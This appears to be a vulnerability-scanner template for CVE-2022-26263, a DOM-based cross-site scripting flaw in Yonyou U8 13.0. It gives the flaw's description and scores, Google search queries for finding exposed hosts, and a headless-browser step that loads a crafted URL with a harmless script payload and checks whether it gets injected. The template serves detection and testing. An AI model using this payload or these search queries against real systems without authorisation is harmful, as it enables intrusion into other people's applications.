id: CVE-2022-26263

info:
  name: Yonyou U8 13.0 - Cross-Site Scripting
  author: edoardottt,theamanrawat
  severity: medium
  description: |
    Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.
  reference:
    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
    - http://yonyou.com
    - https://www.yonyou.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-26263
    cwe-id: CWE-79
    epss-score: 0.41454
    epss-percentile: 0.98538
    cpe: cpe:2.3:a:yonyou:u8\+:13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: yonyou
    product: u8\+
    google-query:
      - inurl:/u8sl/WebHelp
      - inurl:/u8sl/webhelp
  tags: cve,cve2022,yonyou,xss,headless,vuln
headless:
  - steps:
      - args:
          url: '{{BaseURL}}/U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"%27"><xsstag>()locxss")#javascript:console.log(document.domain)'
        action: navigate

      - action: waitload
    matchers:
      - type: word
        words:
          - '<frame src="javascript:console.log(document.domain)"'
          - 'webhelp4.js'
        condition: and
# digest: 4a0a004730450220179b0b81ff1eb5566ff3cfd2b4590c41693f4dc7af57ec3f923f32e1b63bd40a022100f0d7afb3474e3da0d17740995592b157a51d398b3b2bc7bee3c615536b5c1336:922c64590222798bb761d5b6d8e72950